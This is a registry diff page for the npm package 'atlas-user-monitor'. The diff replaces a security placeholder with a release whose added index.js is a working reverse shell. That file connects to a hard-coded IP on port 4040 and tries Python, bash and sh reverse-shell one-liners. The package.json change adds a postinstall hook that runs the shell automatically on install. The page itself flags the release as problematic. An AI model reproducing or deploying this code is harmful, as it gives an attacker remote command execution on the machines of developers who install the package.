atlas-user-monitor 0.0.1-security → 10.5.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of atlas-user-monitor might be problematic. Click here for more details.
- package/index.js +53 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,53 @@
|
|
1
|
+
const { exec } = require('child_process');
|
2
|
+
const net = require('net');
|
3
|
+
|
4
|
+
const targetIP = '154.61.80.228';
|
5
|
+
const targetPort = 4040;
|
6
|
+
|
7
|
+
const client = new net.Socket();
|
8
|
+
|
9
|
+
client.connect(targetPort, targetIP, () => {
|
10
|
+
console.log('Connected to the target IP and port');
|
11
|
+
|
12
|
+
// Try different shell commands
|
13
|
+
const commands = [
|
14
|
+
'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("154.61.80.228",4040));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'',
|
15
|
+
'python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("154.61.80.228",4040));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'',
|
16
|
+
'bash -i >& /dev/tcp/154.61.80.228/4040 0>&1',
|
17
|
+
'sh -i >& /dev/tcp/154.61.80.228/4040 0>&1'
|
18
|
+
];
|
19
|
+
|
20
|
+
let commandIndex = 0;
|
21
|
+
|
22
|
+
function tryCommand() {
|
23
|
+
if (commandIndex >= commands.length) {
|
24
|
+
console.error('No valid shell command found');
|
25
|
+
return;
|
26
|
+
}
|
27
|
+
|
28
|
+
const command = commands[commandIndex];
|
29
|
+
const sh = exec(command, (error, stdout, stderr) => {
|
30
|
+
if (error) {
|
31
|
+
console.error(`exec error: ${error}`);
|
32
|
+
commandIndex++;
|
33
|
+
tryCommand();
|
34
|
+
return;
|
35
|
+
}
|
36
|
+
console.log(`stdout: ${stdout}`);
|
37
|
+
console.error(`stderr: ${stderr}`);
|
38
|
+
});
|
39
|
+
|
40
|
+
client.write('Connected to the target IP and port\n');
|
41
|
+
|
42
|
+
sh.stdout.pipe(client);
|
43
|
+
sh.stderr.pipe(client);
|
44
|
+
|
45
|
+
client.pipe(sh.stdin);
|
46
|
+
}
|
47
|
+
|
48
|
+
tryCommand();
|
49
|
+
});
|
50
|
+
|
51
|
+
client.on('error', (err) => {
|
52
|
+
console.error('Socket error:', err);
|
53
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "atlas-user-monitor",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "10.5.6",
|
4
|
+
"description": "Snehil",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"postinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "Snehil",
|
11
|
+
"license": "ISC"
|
6
12
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=atlas-user-monitor for more information.
|